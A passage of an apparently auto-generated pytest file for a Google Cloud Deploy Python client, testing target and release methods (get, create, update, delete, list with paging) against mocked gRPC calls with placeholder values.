client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetTargetRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_target), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(cloud_deploy.Target())
await client.get_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_target_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Target()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_target(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_target_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_target(
cloud_deploy.GetTargetRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_target_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Target()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(cloud_deploy.Target())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_target(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_target_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_target(
cloud_deploy.GetTargetRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [cloud_deploy.CreateTargetRequest, dict,])
def test_create_target(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateTargetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_target_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_target), "__call__") as call:
client.create_target()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateTargetRequest()
@pytest.mark.asyncio
async def test_create_target_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.CreateTargetRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateTargetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_target_async_from_dict():
await test_create_target_async(request_type=dict)
def test_create_target_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.CreateTargetRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_target), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_target_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.CreateTargetRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_target), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_target_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_target(
parent="parent_value",
target=cloud_deploy.Target(name="name_value"),
target_id="target_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].target
mock_val = cloud_deploy.Target(name="name_value")
assert arg == mock_val
arg = args[0].target_id
mock_val = "target_id_value"
assert arg == mock_val
def test_create_target_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_target(
cloud_deploy.CreateTargetRequest(),
parent="parent_value",
target=cloud_deploy.Target(name="name_value"),
target_id="target_id_value",
)
@pytest.mark.asyncio
async def test_create_target_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_target(
parent="parent_value",
target=cloud_deploy.Target(name="name_value"),
target_id="target_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].target
mock_val = cloud_deploy.Target(name="name_value")
assert arg == mock_val
arg = args[0].target_id
mock_val = "target_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_target_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_target(
cloud_deploy.CreateTargetRequest(),
parent="parent_value",
target=cloud_deploy.Target(name="name_value"),
target_id="target_id_value",
)
@pytest.mark.parametrize("request_type", [cloud_deploy.UpdateTargetRequest, dict,])
def test_update_target(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.UpdateTargetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_target_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_target), "__call__") as call:
client.update_target()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.UpdateTargetRequest()
@pytest.mark.asyncio
async def test_update_target_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.UpdateTargetRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.UpdateTargetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_target_async_from_dict():
await test_update_target_async(request_type=dict)
def test_update_target_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.UpdateTargetRequest()
request.target.name = "target.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_target), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "target.name=target.name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_target_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.UpdateTargetRequest()
request.target.name = "target.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_target), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "target.name=target.name/value",) in kw["metadata"]
def test_update_target_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_target(
target=cloud_deploy.Target(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].target
mock_val = cloud_deploy.Target(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_target_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_target(
cloud_deploy.UpdateTargetRequest(),
target=cloud_deploy.Target(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_target_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_target(
target=cloud_deploy.Target(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].target
mock_val = cloud_deploy.Target(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_target_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_target(
cloud_deploy.UpdateTargetRequest(),
target=cloud_deploy.Target(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize("request_type", [cloud_deploy.DeleteTargetRequest, dict,])
def test_delete_target(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.DeleteTargetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_target_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_target), "__call__") as call:
client.delete_target()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.DeleteTargetRequest()
@pytest.mark.asyncio
async def test_delete_target_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.DeleteTargetRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.DeleteTargetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_target_async_from_dict():
await test_delete_target_async(request_type=dict)
def test_delete_target_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.DeleteTargetRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_target), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_target_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.DeleteTargetRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_target), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_target_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_target(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_target_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_target(
cloud_deploy.DeleteTargetRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_target_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_target(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_target_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_target(
cloud_deploy.DeleteTargetRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [cloud_deploy.ListReleasesRequest, dict,])
def test_list_releases(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_releases), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListReleasesResponse(
next_page_token="next_page_token_value", unreachable=["unreachable_value"],
)
response = client.list_releases(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListReleasesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListReleasesPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
def test_list_releases_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_releases), "__call__") as call:
client.list_releases()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListReleasesRequest()
@pytest.mark.asyncio
async def test_list_releases_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.ListReleasesRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_releases), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListReleasesResponse(
next_page_token="next_page_token_value",
unreachable=["unreachable_value"],
)
)
response = await client.list_releases(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListReleasesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListReleasesAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
@pytest.mark.asyncio
async def test_list_releases_async_from_dict():
await test_list_releases_async(request_type=dict)
def test_list_releases_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ListReleasesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_releases), "__call__") as call:
call.return_value = cloud_deploy.ListReleasesResponse()
client.list_releases(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_releases_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ListReleasesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_releases), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListReleasesResponse()
)
await client.list_releases(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_releases_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_releases), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListReleasesResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_releases(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_releases_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_releases(
cloud_deploy.ListReleasesRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_releases_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_releases), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListReleasesResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListReleasesResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_releases(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_releases_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_releases(
cloud_deploy.ListReleasesRequest(), parent="parent_value",
)
def test_list_releases_pager(transport_name: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_releases), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListReleasesResponse(
releases=[
cloud_deploy.Release(),
cloud_deploy.Release(),
cloud_deploy.Release(),
],
next_page_token="abc",
),
cloud_deploy.ListReleasesResponse(releases=[], next_page_token="def",),
cloud_deploy.ListReleasesResponse(
releases=[cloud_deploy.Release(),], next_page_token="ghi",
),
cloud_deploy.ListReleasesResponse(
releases=[cloud_deploy.Release(), cloud_deploy.Release(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_releases(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, cloud_deploy.Release) for i in results)
def test_list_releases_pages(transport_name: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_releases), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListReleasesResponse(
releases=[
cloud_deploy.Release(),
cloud_deploy.Release(),
cloud_deploy.Release(),
],
next_page_token="abc",
),
cloud_deploy.ListReleasesResponse(releases=[], next_page_token="def",),
cloud_deploy.ListReleasesResponse(
releases=[cloud_deploy.Release(),], next_page_token="ghi",
),
cloud_deploy.ListReleasesResponse(
releases=[cloud_deploy.Release(), cloud_deploy.Release(),],
),
RuntimeError,
)
pages = list(client.list_releases(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_releases_async_pager():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_releases), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListReleasesResponse(
releases=[
cloud_deploy.Release(),
cloud_deploy.Release(),
cloud_deploy.Release(),
],
next_page_token="abc",
),
cloud_deploy.ListReleasesResponse(releases=[], next_page_token="def",),
cloud_deploy.ListReleasesResponse(
releases=[cloud_deploy.Release(),], next_page_token="ghi",
),
cloud_deploy.ListReleasesResponse(
releases=[cloud_deploy.Release(), cloud_deploy.Release(),],
),
RuntimeError,
)
async_pager = await client.list_releases(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, cloud_deploy.Release) for i in responses)
@pytest.mark.asyncio
async def test_list_releases_async_pages():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_releases), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListReleasesResponse(
releases=[
cloud_deploy.Release(),
cloud_deploy.Release(),
cloud_deploy.Release(),
],
next_page_token="abc",
),
cloud_deploy.ListReleasesResponse(releases=[], next_page_token="def",),
cloud_deploy.ListReleasesResponse(
releases=[cloud_deploy.Release(),], next_page_token="ghi",
),
cloud_deploy.ListReleasesResponse(
releases=[cloud_deploy.Release(), cloud_deploy.Release(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_releases(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize("request_type", [cloud_deploy.GetReleaseRequest, dict,])
def test_get_release(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_release), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Release(
name="name_value",
uid="uid_value",
description="description_value",
skaffold_config_uri="skaffold_config_uri_value",
skaffold_config_path="skaffold_config_path_value",
render_state=cloud_deploy.Release.RenderState.SUCCEEDED,
etag="etag_value",
skaffold_version="skaffold_version_value",
)
response = client.get_release(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
